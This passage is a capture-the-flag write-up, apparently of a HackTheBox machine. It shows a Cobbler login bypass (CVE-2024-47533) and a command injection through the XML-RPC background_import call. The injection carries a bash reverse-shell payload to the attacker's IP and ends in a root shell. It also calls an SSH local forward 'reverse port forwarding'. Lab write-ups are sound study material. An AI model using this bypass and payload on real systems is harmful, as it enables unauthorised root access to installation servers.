The Python3 process /usr/local/bin/cobblerd sticks out as does the port 25151, a good guess would be to assume these things are connected and cobblerd daemon is listening on port 25151.

The process cobblerd is Cobbler (https://cobbler.github.io), a remote Linux installation server. The port 25151 is Cobbler’s XML-RPC interface.

Searching for vulnerabilities in Cobbler reveals CVE-2024-47533 (see https://github.com/advisories/GHSA-m26c-fcgh-cp6h) which can be used to bypass the proper login password with the signed integer -1.

Using SSH to establish a reverse port forwarding for port 25151 which then opens the possibility to probe the port for Cobbler’s XML-RPC functionality and confirm the vulnerability:

janne808@kali:/opt/hackthebox/cobblestone$ ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb
cobble@cobblestone.htb's password: 
Linux cobblestone 6.1.0-47-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.170-3 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$

...

janne808@kali:/opt/hackthebox/cobblestone$ python3
Python 3.13.14 (main, Jun 10 2026, 18:10:12) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import xmlrpc.client
>>> server = xmlrpc.client.Server("http://127.0.0.1:25151")
>>> token = server.login("",-1)
>>> server.version()
3.306

This confirms that the system is running Cobbler version 3.3.6 and the vulnerability.

This version is also vulnerable to an authenticated command injection vulnerability. Looking at the background_import() method in the CobblerXMLRPCInterface class (in the file /cobbler/cobbler/remote.py):


...

    def background_import(self, options: dict, token: str) -> str:
        """
        Import an ISO image in the background.

        :param options: Not known what this parameter does.
        :param token: The API-token obtained via the login() method. The API-token obtained via the login() method.
        :return: The id of the task which was started.
        """

        def runner(self):
            self.remote.api.import_tree(
                self.options.get("path", None),
                self.options.get("name", None),
                self.options.get("available_as", None),
                self.options.get("autoinstall_file", None),
                self.options.get("rsync_flags", None),
                self.options.get("arch", None),
                self.options.get("breed", None),
                self.options.get("os_version", None),
            )

        return self.__start_task(runner, token, "import", "Media import", options)


...

The XML-RPC interface calls the API’s import_tree() method. Looking at that method reveals the injection:


...

    def import_tree(self, mirror_url: str, mirror_name: str, network_root=None, autoinstall_file=None, rsync_flags=None,
                    arch=None, breed=None, os_version=None) -> bool:
        """
        Automatically import a directory tree full of distribution files.

        :param mirror_url: Can be a string that represents a path, a user@host syntax for SSH, or an rsync:// address.
                           If mirror_url is a filesystem path and mirroring is not desired, set network_root to
                           something like "nfs://path/to/mirror_url/root"
        :param mirror_name: The name of the mirror.
        :param network_root:
        :param autoinstall_file:
        :param rsync_flags:
        :param arch:
        :param breed:
        :param os_version:
        """
        self.log("import_tree", [mirror_url, mirror_name, network_root, autoinstall_file, rsync_flags])

        # Both --path and --name are required arguments.
        if mirror_url is None or not mirror_url:
            self.log("import failed.  no --path specified")
            return False
        if mirror_name is None or not mirror_name:
            self.log("import failed.  no --name specified")
            return False

        path = os.path.normpath("%s/distro_mirror/%s" % (self.settings().webdir, mirror_name))
        if arch is not None:
            arch = arch.lower()
            if arch == "x86":
                # be consistent
                arch = "i386"
            if path.split("-")[-1] != arch:
                path += ("-%s" % arch)

...

        else:
            # Good, we're going to use rsync.. We don't use SSH for public mirrors and local files.
            # Presence of user@host syntax means use SSH
            spacer = ""
            if not mirror_url.startswith("rsync://") and not mirror_url.startswith("/"):
                spacer = ' -e "ssh" '
            rsync_cmd = RSYNC_CMD
            if rsync_flags:
                rsync_cmd += " " + rsync_flags

            # If --available-as was specified, limit the files we pull down via rsync to just those that are critical
            # to detecting what the distro is
            if network_root is not None:
                rsync_cmd += " --include-from=/etc/cobbler/import_rsync_whitelist"

            # kick off the rsync now
            utils.run_this(rsync_cmd, (spacer, mirror_url, path))

...

The mirror_name variable is not sanitized and is concatenated as is to path variable, which is then passed along to the command arguments in the file /cobbler/cobbler/utils.py:


...

def run_this(cmd: str, args: Union[str, tuple]):
    """
    A simple wrapper around subprocess calls.

    :param cmd: The command to run in a shell process.
    :param args: The arguments to attach to the command.
    """

    my_cmd = cmd % args
    rc = subprocess_call(my_cmd, shell=True)
    if rc != 0:
        die("Command failed")

...

Running a reverse shell with the injection:

janne808@kali:/opt/hackthebox/cobblestone$ python3
Python 3.13.14 (main, Jun 10 2026, 18:10:12) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import xmlrpc.client
>>> server = xmlrpc.client.Server("http://127.0.0.1:25151")
>>> token = server.login("",-1)
>>> server.background_import({"path":"/tmp/","name":"$(bash -c 'bash -i >& /dev/tcp/10.10.15.126/9001 0>&1')"},token)
'2026-08-19_134951_Media import_34623957defb49e1bad6af5916ee9e01'

...

janne808@kali:/opt/hackthebox/cobblestone$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.15.126] from (UNKNOWN) [10.129.232.170] 46700
bash: cannot set terminal process group (991): Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/#